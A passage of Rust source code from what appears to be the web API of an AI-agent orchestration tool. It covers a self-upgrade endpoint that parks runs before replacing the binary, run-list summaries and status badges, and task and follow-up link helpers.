2569    // here, rather than axum's default 422 that the UI has no branch for.
2570    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2571    blocking(move || {
2572        let reading = daemon::read_status(&ui.home);
2573        let foreign = Foreign::of(reading.as_ref());
2574        if body.running {
2575            ui.start_loop(foreign)?;
2576        } else {
2577            ui.stop_loop(foreign, body.park)?;
2578        }
2579        Ok(Json(ui.loop_view(reading)))
2580    })
2581    .await
2582}
2583
2584/// What `POST /api/upgrade` set in motion.
2585#[derive(Debug, Serialize)]
2586struct UpgradeView {
2587    /// The version this process is running.
2588    from: String,
2589    /// The release it is replacing itself with, when there is one.
2590    to: Option<String>,
2591    /// A run was parked first, and this is its id.
2592    parked: Option<String>,
2593    /// What the operator should expect to happen next.
2594    detail: String,
2595}
2596
2597/// The stage of an upgrade that is still moving, if the record says so.
2598/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
2599fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2600    progress.filter(|p| !p.stage.terminal())
2601}
2602
2603/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
2604/// Unknown diagnostics retain their complete message without guessing a delay.
2605fn upgrade_retry_after(message: &str) -> Option<u64> {
2606    if !message.contains("GitHub") || !message.contains("rate limit") {
2607        return None;
2608    }
2609    if message.contains("retry now") {
2610        return Some(0);
2611    }
2612    let duration = message
2613        .split_once("resets in ")
2614        .or_else(|| message.split_once("retry after "))?
2615        .1
2616        .split_once(')')?
2617        .0;
2618    let mut rest = duration.trim();
2619    if rest.is_empty() {
2620        return None;
2621    }
2622    let mut total = 0u64;
2623    while !rest.is_empty() {
2624        let n = rest.find(|c: char| !c.is_ascii_digit())?;
2625        let amount: u64 = rest[..n].parse().ok()?;
2626        let scale = match rest[n..].chars().next()? {
2627            's' => 1,
2628            'm' => 60,
2629            'h' => 3600,
2630            'd' => 86400,
2631            _ => return None,
2632        };
2633        total = total.checked_add(amount.checked_mul(scale)?)?;
2634        rest = rest[n + 1..].trim_start();
2635    }
2636    Some(total)
2637}
2638
2639#[derive(Debug, Clone, Serialize)]
2640struct UpgradeRequestFailure {
2641    occurred_at: String,
2642    error: String,
2643    retry_after_secs: Option<u64>,
2644    /// Unix seconds; independent of the phone's polling cadence.
2645    retry_at: Option<u64>,
2646}
2647
2648impl UpgradeRequestFailure {
2649    fn new(error: String) -> Self {
2650        let retry_after_secs = upgrade_retry_after(&error);
2651        let now = std::time::SystemTime::now()
2652            .duration_since(std::time::UNIX_EPOCH)
2653            .unwrap_or_default()
2654            .as_secs();
2655        Self {
2656            occurred_at: jiff::Timestamp::now().to_string(),
2657            error,
2658            retry_after_secs,
2659            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
2660        }
2661    }
2662}
2663
2664/// `POST /api/upgrade` - replace this binary with the newest release and come
2665/// back on it.
2666///
2667/// The one thing the deck could not do for itself. Every fix landed today
2668/// either waited for a competition to end or went in with the deck stopped,
2669/// because `cargo install` cannot overwrite a running executable on Windows.
2670/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2671/// the new one in its place, so the swap itself needs no downtime. Only the
2672/// restart does, and the order is the whole design:
2673///
2674/// 1. **Park.** A run in flight stops at its next node boundary and stays
2675///    resumable, so this costs at most the node in progress rather than the
2676///    competition. Without it the honest choices were waiting an hour or
2677///    discarding paid agent work.
2678/// 2. **Replace.** The new binary goes into place while this one still runs.
2679/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2680///    successor - see [`spawn_successor`] for what happens in the other
2681///    order.
2682/// 4. **Resume.** The next loop carries the parked run on rather than
2683///    competing again; see `daemon::attempt`.
2684///
2685/// Answers **202**: the reply has to reach the phone while this process can
2686/// still send one, and the phone learns the deck is back by reconnecting.
2687async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
2688    let reading = daemon::read_status(&ui.home);
2689    if let Some(other) = Foreign::of(reading.as_ref()) {
2690        return ApiError::conflict(format!(
2691            "the loop belongs to {}, so replacing this binary would leave \
2692             that process running an old one against the same queue. Upgrade \
2693             where it was started.",
2694            other.who()
2695        ))
2696        .into_response();
2697    }
2698
2699    // A second upgrade while one is moving would replace the binary and
2700    // signal the handover again after `serve` already consumed the first
2701    // signal, leaving the process in `replaced` forever. Try-lock rather than
2702    // wait: a phone connection must not hang behind a GitHub round trip.
2703    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2704        return ApiError::conflict("another request is already preparing an upgrade")
2705            .into_response();
2706    };
2707    // Hold the same gate through recording/clearing the request outcome, so
2708    // an older response cannot overwrite a retry's result.
2709    finish_upgrade_request(&ui, upgrade_prepare(&ui).await)
2710}
2711
2712fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
2713    match result {
2714        Ok(out) => {
2715            *ui.upgrade_request_error
2716                .lock()
2717                .unwrap_or_else(PoisonError::into_inner) = None;
2718            out.into_response()
2719        }
2720        Err(error) if error.status != StatusCode::CONFLICT => {
2721            let failure = UpgradeRequestFailure::new(error.message);
2722            *ui.upgrade_request_error
2723                .lock()
2724                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
2725            let mut response = (error.status, Json(&failure)).into_response();
2726            if let Some(value) = failure
2727                .retry_after_secs
2728                .and_then(|secs| secs.to_string().parse().ok())
2729            {
2730                response.headers_mut().insert("retry-after", value);
2731            }
2732            response
2733        }
2734        Err(error) => error.into_response(),
2735    }
2736}
2737
2738async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2739    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2740        return Err(ApiError::conflict(
2741            "an upgrade is already in progress (this process started one and it \
2742             has not finished or failed yet)",
2743        ));
2744    }
2745    let recorded = updater::read_progress(&ui.home);
2746    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2747        return Err(ApiError::conflict(format!(
2748            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2749             stays stuck, restart the deck; on start it settles a stale record.",
2750            p.stage.as_str(),
2751            p.from,
2752            p.to.as_deref().unwrap_or("?"),
2753        )));
2754    }
2755
2756    // The same kill switch the background check honours (`disabled_by_env`),
2757    // checked before anything else for the same reason it is read before the
2758    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2759    // contact GitHub from this process", and a button press must not
2760    // override that any more than a broken `magi.toml` may.
2761    if crate::updater::disabled_by_env() {
2762        return Ok((
2763            StatusCode::OK,
2764            Json(UpgradeView {
2765                from: env!("CARGO_PKG_VERSION").to_owned(),
2766                to: None,
2767                parked: None,
2768                detail: format!(
2769                    "Automatic updates are disabled by {}. Nothing was parked \
2770                     and nothing restarted.",
2771                    crate::updater::NO_AUTOUPDATE_ENV
2772                ),
2773            }),
2774        ));
2775    }
2776
2777    // Asked before anything is disturbed. Restarting when there is nothing
2778    // to install is not a harmless no-op: it parks the run in flight and
2779    // drops every connection to pay for an upgrade that did not happen. A
2780    // probe against a deck already on the newest build did exactly that.
2781    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2782    let from = env!("CARGO_PKG_VERSION").to_owned();
2783    let latest = match crate::updater::Checker::new(&cfg.update) {
2784        Some(checker) => checker.newer_release().await,
2785        None => Ok(None),
2786    };
2787    upgrade_checked(ui, from, latest)
2788}
2789
2790fn upgrade_checked(
2791    ui: &Arc<Ui>,
2792    from: String,
2793    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
2794) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2795    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
2796    let Some(latest) = latest else {
2797        return Ok((
2798            StatusCode::OK,
2799            Json(UpgradeView {
2800                from,
2801                to: None,
2802                parked: None,
2803                detail: "Already on the newest release. Nothing was parked \
2804                         and nothing restarted."
2805                    .to_owned(),
2806            }),
2807        ));
2808    };
2809
2810    // Parked before anything is replaced: a successor that came up while a
2811    // run was mid-node would find a run nobody is driving.
2812    let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
2813    let detail = match &parked {
2814        // Honest about the wait. A park takes effect at the *next* node
2815        // boundary, so a run mid-implement finishes that wave first - up to
2816        // `timeout_implement`, an hour by default. Saying "restarting now"
2817        // would make the deck look wedged for the rest of it.
2818        Some(run) => format!(
2819            "Run {} is parking at its next step, which can take as long as \
2820             the step it is on - up to an hour for an implement wave. The \
2821             deck replaces itself once it parks, comes back, and the loop \
2822             carries that run on from where it stopped. Nothing is lost if \
2823             you close this.",
2824            crate::run::short_of(run)
2825        ),
2826        None => "The deck replaces itself and comes back. Nothing was in \
2827                 flight to park."
2828            .to_owned(),
2829    };
2830
2831    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2832    // poll must see a `Downloading` stage immediately, not whenever the
2833    // spawned task happens to get scheduled.
2834    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2835    progress.parked_run = parked.clone();
2836    // A failed write is logged, not returned: the loop is already parked
2837    // above, and bailing out here would leave it parked with no upgrade
2838    // spawned to hand over or resume it.
2839    updater::write_progress_logged(&ui.home, &progress);
2840
2841    let home = ui.home.clone();
2842    let looping = ui.looping();
2843    ui.upgrade_spawned
2844        .store(true, std::sync::atomic::Ordering::SeqCst);
2845    let spawned = Arc::clone(&ui.upgrade_spawned);
2846    tokio::spawn(async move {
2847        if let Err(e) = upgrade_and_restart(home.clone()).await {
2848            tracing::error!("the upgrade did not complete: {e:#}");
2849            lock_or_recover(&looping).resume_after_handover = false;
2850            // A failure of this attempt says nothing about a handover an
2851            // earlier request already has in flight; checked and written
2852            // under the progress lock.
2853            let _ = updater::fail_progress(&home, &format!("{e:#}"));
2854            // Released last: until the cleanup above is done, a retry must
2855            // not be able to park and record state this would then undo.
2856            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2857        }
2858    });
2859
2860    Ok((
2861        StatusCode::ACCEPTED,
2862        Json(UpgradeView {
2863            from,
2864            to: Some(latest.tag_name),
2865            parked,
2866            detail,
2867        }),
2868    ))
2869}
2870
2871/// Replace the binary, then ask [`serve`] to hand the address over.
2872///
2873/// Separated from the handler so the 202 is already on its way, and separated
2874/// from the spawn so the successor starts only after the listener is dropped.
2875async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2876    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2877    // hang the upgrade for as long as the process lives.
2878    crate::updater::run_self_update(true, false, true).await?;
2879    updater::log_step(&home, "binary replaced - recording the replaced stage");
2880    if let Some(mut progress) = updater::read_progress(&home) {
2881        progress.advance(updater::Stage::Replaced);
2882        updater::write_progress_logged(&home, &progress);
2883    }
2884    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2885    HANDOVER.notify_one();
2886    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2887    Ok(())
2888}
2889
2890/// One row in the run list.
2891///
2892/// The list route returns this rather than whole `RunState`s: the summary of a
2893/// run is a few hundred bytes and the state is megabytes, and the difference
2894/// is what makes the history usable on a mobile link.
2895#[derive(Debug, Serialize)]
2896struct RunSummary {
2897    id: String,
2898    short: String,
2899    status: String,
2900    done: bool,
2901    instruction: String,
2902    title: String,
2903    repo: String,
2904    repo_name: String,
2905    created_at: String,
2906    updated_at: String,
2907    candidates: usize,
2908    viable: usize,
2909    judges: usize,
2910    winner: Option<char>,
2911    reviews: usize,
2912    quota_losses: usize,
2913    event: Option<String>,
2914    /// The later attempt at the same task that replaced this one, if any.
2915    ///
2916    /// Two cards with one title is otherwise unreadable: this is what lets
2917    /// the deck say "superseded by 4043" on the older of the pair.
2918    superseded_by: Option<String>,
2919    /// Blocked on a question nobody has answered.
2920    ///
2921    /// Derived from the question store rather than stored on the run: an agent
2922    /// calling `magi ask` blocks mid-node, and writing a status from there
2923    /// would race the graph's own save of `run.json` and be overwritten at the
2924    /// next node boundary. Asking the store is always true and never races.
2925    waiting: bool,
2926    /// Whether the process recorded as driving this run can still be proven
2927    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2928    /// rather than presenting its last graph node as still in flight.
2929    live: crate::run::Liveness,
2930    /// The land loop's last look at the pull request, when there is one.
2931    pr: Option<crate::run::PrRecord>,
2932    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2933    /// design — never picked up by the PR-polling merge watcher, unlike an
2934    /// ordinary `Ready` that may still be a live landing candidate. See
2935    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2936    /// re-deriving the same check from `status` and `merge.mode` itself.
2937    unmerged_by_design: bool,
2938    /// Derived presentation status matching [`RunDetailView::display_status`].
2939    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
2940    #[serde(default)]
2941    display_status: String,
2942    /// What the status badge shows: `display_status`, or `superseded` for a
2943    /// non-live run a later attempt replaced. See [`run_badge_status`].
2944    #[serde(default)]
2945    badge_status: String,
2946    /// Who started the run, as the one label every surface shares; the
2947    /// "origin unknown" wording when the record predates origins.
2948    origin_label: String,
2949}
2950
2951impl RunSummary {
2952    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2953        Self {
2954            id: state.id.clone(),
2955            short: state.short().to_owned(),
2956            status: status_word(state.status),
2957            done: state.status.done(),
2958            unmerged_by_design: state.unmerged_by_design(),
2959            display_status: run_display_status(state, waiting, live),
2960            badge_status: run_display_status(state, waiting, live),
2961            instruction: state.instruction.clone(),
2962            title: title_from(&state.instruction, TITLE_MAX),
2963            repo: state.repo.display().to_string(),
2964            repo_name: state
2965                .repo
2966                .file_name()
2967                .map(|n| n.to_string_lossy().into_owned())
2968                .unwrap_or_default(),
2969            created_at: state.created_at.to_string(),
2970            updated_at: state.updated_at.to_string(),
2971            candidates: state.candidates.len(),
2972            viable: state.viable().len(),
2973            judges: state.config.graph.judges,
2974            winner: state.winner().map(|c| c.label),
2975            reviews: state.reviews.len(),
2976            quota_losses: state.quota.len(),
2977            event: state.events.last().map(|e| e.message.clone()),
2978            waiting,
2979            live,
2980            // Filled in by the list route, which is the only place that can
2981            // see a task's other attempts.
2982            superseded_by: None,
2983            pr: state.pr.clone(),
2984            origin_label: crate::run::origin_label(state.origin.as_ref()),
2985        }
2986    }
2987}
2988
2989/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2990/// the same string `serde` writes for the status inside a full run.
2991fn status_word(status: RunStatus) -> String {
2992    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2993    // was a third way of naming the same statuses, and one that changed
2994    // silently with a derive.
2995    status.as_str().to_owned()
2996}
2997
2998/// The presentation status for a run, unified across summaries and details.
2999///
3000/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3001/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3002/// runs awaiting operator answers.
3003fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3004    if waiting {
3005        return "waiting".to_owned();
3006    }
3007    if state.unmerged_by_design() {
3008        return "unmerged".to_owned();
3009    }
3010    if !state.status.done() && live == crate::run::Liveness::Dead {
3011        // The driver claim clears this flag before saving another event.
3012        // A previous park event can therefore outlive a resumed driver.
3013        if state.parked {
3014            return "parked".to_owned();
3015        }
3016        return "stale".to_owned();
3017    }
3018    status_word(state.status)
3019}
3020
3021/// The word a run's status badge shows: `display_status`, except that a
3022/// non-terminal run which is not provably live and was replaced by a later
3023/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3024///
3025/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3026/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3027/// own word, so superseded never claims more than "not live".
3028fn run_badge_status(
3029    state: &RunState,
3030    display_status: &str,
3031    live: crate::run::Liveness,
3032    superseded: bool,
3033) -> String {
3034    if state.status.done() || live == crate::run::Liveness::Live {
3035        return display_status.to_owned();
3036    }
3037    if superseded {
3038        return "superseded".to_owned();
3039    }
3040    // A dead run's `display_status` is `stale`, except that a deliberate park
3041    // and an open owner question keep their own word: neither is a crash, and
3042    // the question still needs an answer. Anything else dead reads `stale`.
3043    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3044        return "stale".to_owned();
3045    }
3046    display_status.to_owned()
3047}
3048
3049/// `?limit=`, clamped by the handler.
3050#[derive(Debug, Deserialize)]
3051struct ListQuery {
3052    #[serde(default)]
3053    limit: Option<usize>,
3054    /// Exact ids only; an empty value requests no rows (except queue blockers).
3055    ids: Option<String>,
3056}
3057
3058impl ListQuery {
3059    fn contains(&self, id: &str) -> bool {
3060        self.ids
3061            .as_ref()
3062            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3063    }
3064}
3065
3066async fn runs_list(
3067    State(ui): State<Arc<Ui>>,
3068    Query(q): Query<ListQuery>,
3069) -> ApiResult<Json<Vec<RunSummary>>> {
3070    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3071    blocking(move || {
3072        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3073        let states = run_ids(&ui.runs)
3074            .into_iter()
3075            // A run whose state cannot be read is skipped, not fatal: a run
3076            // killed mid-write must not blank the history of every other one.
3077            // The detail route still explains it, which is where an operator
3078            // asking "what happened to that run" ends up.
3079            .filter_map(|id| read_run(&ui.runs, &id).ok())
3080            .take(limit)
3081            .filter(|run| q.contains(&run.id));
3082        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3083        let summaries = summarize(
3084            states,
3085            &open_runs,
3086            &claimed,
3087            &superseded,
3088            |p| probe.borrow_mut().status(p),
3089            |p| probe.borrow_mut().started_at(p),
3090        );
3091        Ok(Json(summaries))
3092    })
3093    .await
3094}
3095
3096/// Everything the per-run rows share, read once: runs with an open question,
3097/// runs a live daemon claims, and the superseded map. Asking per run re-read
3098/// every question file and the daemon status file for each of hundreds of
3099/// runs, and spawned a process probe per run on Windows.
3100fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3101    let open_runs: HashSet<String> = ui
3102        .questions
3103        .list()
3104        .into_iter()
3105        .filter(|q| q.status.open())
3106        .map(|q| q.run)
3107        .collect();
3108    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3109        .into_iter()
3110        .map(|c| c.run)
3111        .collect();
3112    (open_runs, claimed, ui.queue.superseded())
3113}
3114
3115/// The rows of the run list, given everything that is shared between them.
3116///
3117/// Pure over its inputs so a test can count how often the process queries are
3118/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
3119/// takes, called at most once per run.
3120fn summarize<I, S, D>(
3121    states: I,
3122    open_runs: &HashSet<String>,
3123    claimed: &HashSet<String>,
3124    superseded: &HashMap<String, String>,
3125    mut status_q: S,
3126    mut identity_q: D,
3127) -> Vec<RunSummary>
3128where
3129    I: IntoIterator<Item = RunState>,
3130    S: FnMut(u32) -> Option<bool>,
3131    D: FnMut(u32) -> Option<String>,
3132{
3133    states
3134        .into_iter()
3135        .map(|state| {
3136            let waiting = open_runs.contains(&state.id);
3137            let live =
3138                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3139            let mut row = RunSummary::of(&state, waiting, live);
3140            row.superseded_by = state
3141                .pr_taken_over_by
3142                .as_ref()
3143                .or_else(|| superseded.get(&state.id))
3144                .map(String::as_str)
3145                .map(crate::run::short_of)
3146                .map(str::to_owned);
3147            row.badge_status = run_badge_status(
3148                &state,
3149                &row.display_status,
3150                live,
3151                row.superseded_by.is_some(),
3152            );
3153            row
3154        })
3155        .collect()
3156}
3157
3158/// A run as the detail route hands it to the phone.
3159///
3160/// The whole state, flattened, plus `instruction_md`: the Task panel renders
3161/// the instruction as markdown, and the raw `instruction` field this struct
3162/// still carries (unchanged) is what a client wanting the exact bytes reads
3163/// instead.
3164#[derive(Debug, Serialize)]
3165struct RunDetailView {
3166    stop_reason: Option<String>,
3167    #[serde(flatten)]
3168    state: RunState,
3169    instruction_md: Vec<md::Node>,
3170    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
3171    /// mirror the records they come from, index for index; the raw strings
3172    /// stay in `state` and decide whether a block is shown at all.
3173    #[serde(flatten)]
3174    prose_md: RunProseMd,
3175    /// Whether a process is actually still driving this run: `"live"`,
3176    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
3177    ///
3178    /// `state.active` (flattened in above) is only ever cleared by the
3179    /// process that populated it; a killed one leaves its last wave's
3180    /// entries behind. Carrying this alongside is what lets the phone rail
3181    /// tell "this seat is still answering" from "this seat was still
3182    /// answering when whatever was driving this run died" without a second
3183    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3184    /// proof of either. A string rather than a bool on purpose: a daemon
3185    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3186    /// and neither proven is `"unknown"` — folding that third case into
3187    /// either end of a bool is exactly the wrong call for a phone screen an
3188    /// operator uses to decide whether to wait or to act.
3189    live: crate::run::Liveness,
3190    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3191    /// alongside the flattened `state` rather than inside it, since
3192    /// `RunState` has no business knowing which of its own methods a caller
3193    /// wants serialized.
3194    unmerged_by_design: bool,
3195    /// Same field and meaning as [`RunSummary::waiting`].
3196    #[serde(default)]
3197    waiting: bool,
3198    /// Same derived presentation status as [`RunSummary::display_status`].
3199    #[serde(default)]
3200    display_status: String,
3201    /// Same field and meaning as [`RunSummary::badge_status`].
3202    #[serde(default)]
3203    badge_status: String,
3204    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3205    /// terminal. The client's `landView` keys on it, and the flattened state
3206    /// has no such field, so without it a finished run's stale `open` PR
3207    /// would be painted as live on the detail page.
3208    done: bool,
3209    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3210    /// route fills it from [`Queue::superseded`], the detail route from
3211    /// [`Queue::superseded_by`], and both read the same underlying task
3212    /// order. Without this the detail page could only ever show a red
3213    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3214    /// with nothing anywhere saying so — an operator opening it had no way
3215    /// to tell "this is done elsewhere" from "this still needs a retry".
3216    superseded_by: Option<String>,
3217    /// The task's current attempt, when this run is an older one — resolved
3218    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3219    /// the client to derive.
3220    ///
3221    /// Three things a client cannot safely do on its own drove this onto the
3222    /// server: it has to name the chain's *current head*, not just the next
3223    /// attempt (`superseded_by` above), because an intermediate retry in a
3224    /// longer chain can itself still be unresolved; it has to resolve to a
3225    /// real id rather than a short id a client would have to guess a full id
3226    /// from, which is ambiguous the moment two runs share a suffix; and it
3227    /// has to read that head's own status directly, because whether a run
3228    /// list a client happens to have cached even contains that attempt
3229    /// depends on a page limit this route knows nothing about.
3230    latest_attempt: Option<LatestAttempt>,
3231    /// The queue task this run belongs to, so the detail page can link back
3232    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3233    task: Option<TaskRef>,
3234    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3235    /// run recorded before origins existed. `origin` itself (flattened in
3236    /// with `state`) is `null` in that case.
3237    origin_label: String,
3238    /// Each recorded pass over this run, with the cause it stopped for. Empty
3239    /// for a run from before passes were kept: its earlier passes are unknown.
3240    pass_views: Vec<PassView>,
3241}
3242
3243/// A task named from a run's detail page.
3244#[derive(Debug, Serialize)]
3245struct TaskRef {
3246    id: String,
3247    short: String,
3248    title: String,
3249    /// [`Source::label`], e.g. `chat@a1b2`.
3250    source_label: String,
3251    /// Where the task came from, when that place has a page; see [`source_link`].
3252    source_link: Option<SourceLink>,
3253    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3254    status: &'static str,
3255    attempts: usize,
3256    max_attempts: usize,
3257    /// This run is the last entry of the task's run list.
3258    is_latest: bool,
3259    /// The task's newest run, when it is not this one.
3260    latest: Option<RunBrief>,
3261    /// The run that finished a `done` task (merged, or already in the base).
3262    finished_by: Option<RunBrief>,
3263    /// The task is `done` but no run on record finished it: closed by hand.
3264    closed_by_hand: bool,
3265}
3266
3267/// The page that filed a task, as the UI links to it.
3268#[derive(Debug, PartialEq, Eq, Serialize)]
3269struct SourceLink {
3270    /// `chat` (a conversation) or `run` (a run's node).
3271    kind: &'static str,
3272    /// The full id, never the short one in the label.
3273    id: String,
3274    /// The hash route that opens it.
3275    href: String,
3276}
3277
3278/// Percent-encode everything outside the URL-unreserved set.
3279fn encode_segment(raw: &str) -> String {
3280    let mut out = String::with_capacity(raw.len());
3281    for b in raw.bytes() {
3282        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3283            out.push(b as char);
3284        } else {
3285            out.push_str(&format!("%{b:02X}"));
3286        }
3287    }
3288    out
3289}
3290
3291/// The one place that decides where a task's source links to. A chat
3292/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3293/// a person or an imported issue has no page, so no link.
3294fn source_link(source: &Source) -> Option<SourceLink> {
3295    let Source::Agent { run, node } = source else {
3296        return None;
3297    };
3298    let (kind, route) = if node == crate::queue::CHAT_NODE {
3299        ("chat", "chat")
3300    } else {
3301        ("run", "runs")
3302    };
3303    Some(SourceLink {
3304        kind,
3305        id: run.clone(),
3306        href: id_links::page_href(route, run),
3307    })
3308}
3309
3310/// The parent task of a follow-up, when its file can still be read.
3311#[derive(Debug, Serialize, PartialEq)]
3312struct FollowUpParent {
3313    id: String,
3314    short: String,
3315    title: String,
3316    /// The parent's own status (`TaskStatus::as_str`).
3317    status: &'static str,
3318    href: String,
3319}
3320
3321/// The merged run a follow-up was filed from.
3322#[derive(Debug, Serialize, PartialEq)]
3323struct FollowUpRun {
3324    id: String,
3325    short: String,
3326    /// `None` when the run's record cannot be read.
3327    status: Option<&'static str>,
3328    /// `None` unless the record could be read: never a dead link.
3329    href: Option<String>,
3330}
3331
3332/// Where a follow-up task came from, resolved once per task page so the flow
3333/// chart and the detail block cannot disagree. See [`followup_origin`].
3334#[derive(Debug, Serialize, PartialEq)]
3335struct FollowUpOrigin {
3336    /// Present only when `origin_task` is set and that task still exists.
3337    parent: Option<FollowUpParent>,
3338    run: FollowUpRun,
3339    /// The merged pull request, verbatim. Not an href: the client passes it
3340    /// through `forgeUrl()` and renders text when that refuses it (the one
3341    /// exception to "the href rule is Rust's alone", since a forge URL is
3342    /// data from a record, not a route).
3343    pr: String,
3344    findings: Vec<String>,
3345    generation: u32,
3346}
3347
3348/// The one place that decides what a follow-up links to. A parent that cannot
3349/// be read (gone, or an id that names nothing) is `None`, never an error.
3350fn followup_origin(
3351    fu: &crate::queue::FollowUp,
3352    task: impl Fn(&str) -> Option<Task>,
3353    run: impl Fn(&str) -> Option<RunState>,
3354) -> FollowUpOrigin {
3355    let parent = fu
3356        .origin_task
3357        .as_deref()
3358        .and_then(task)
3359        .map(|t| FollowUpParent {
3360            short: t.short().to_owned(),
3361            href: format!("#/tasks/{}", encode_segment(&t.id)),
3362            status: t.status.as_str(),
3363            title: t.title,
3364            id: t.id,
3365        });
3366    let state = run(&fu.run);
3367    FollowUpOrigin {
3368        parent,
3369        run: FollowUpRun {
3370            short: run::short_of(&fu.run).to_owned(),
3371            status: state.as_ref().map(|s| s.status.as_str()),
3372            href: state
3373                .is_some()
3374                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3375            id: fu.run.clone(),
3376        },
3377        pr: fu.pr.clone(),
3378        findings: fu.findings.clone(),
3379        generation: fu.generation,
3380    }
3381}
3382
3383/// Another run of the same task, as named from a run's detail page.
3384#[derive(Debug, Serialize)]
3385struct RunBrief {
3386    id: String,
3387    short: String,
3388    /// `None` when the run's record cannot be read.
3389    status: Option<&'static str>,
3390    /// The task-page wording for how that pass ended.
3391    outcome: String,
3392    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
3393    badge: Option<String>,
3394}
3395
3396/// The task's overall outcome as seen from `this_run`'s page, classified with
3397/// the same exits the task page's flowchart uses.
3398fn task_outcome(
3399    task: &Task,
3400    this_run: &str,
3401    max_attempts: usize,
3402    read: impl Fn(&str) -> Option<RunState>,
3403) -> TaskRef {
3404    let max_attempts = task.effective_attempt_limit(max_attempts);
3405    let history = task_history(task, read);
3406    let brief = |h: &TaskRunView| RunBrief {
3407        id: h.id.clone(),
3408        short: h.short.clone(),
3409        status: h.status,
3410        outcome: h.exit.edge_label(h.status),
3411        badge: h.badge.clone(),
3412    };
3413    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3414    let latest = if is_latest {
3415        None
3416    } else {
3417        history.last().map(brief)
3418    };
3419    let done = task.status == TaskStatus::Done;
3420    let finished_by = done
3421        .then(|| {
3422            history
3423                .iter()
3424                .rev()
3425                .find(|h| {
3426                    matches!(
3427                        h.exit,
3428                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3429                    )
3430                })
3431                .map(brief)
3432        })
3433        .flatten();
3434    TaskRef {
3435        short: task.short().to_owned(),
3436        title: task.title.clone(),
3437        id: task.id.clone(),
3438        source_label: task.source.label(),
3439        source_link: source_link(&task.source),
3440        status: task.status.as_str(),
3441        attempts: task.attempts,
3442        max_attempts,
3443        is_latest,
3444        latest,
3445        closed_by_hand: done && finished_by.is_none(),
3446        finished_by,
3447    }
3448}
3449
3450/// The task's current attempt, as seen from an older one's detail page.
3451#[derive(Debug, Serialize)]
3452struct LatestAttempt {
3453    id: String,
3454    short: String,
3455    /// Whether this attempt itself settled with a result nobody needs to
3456    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3457    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3458    /// unconfirmed claim that no change was needed, which is exactly why it
3459    /// settles the task through `Held` rather than `Done` and still waits on
3460    /// a human to check the evidence; showing an older run as "finished
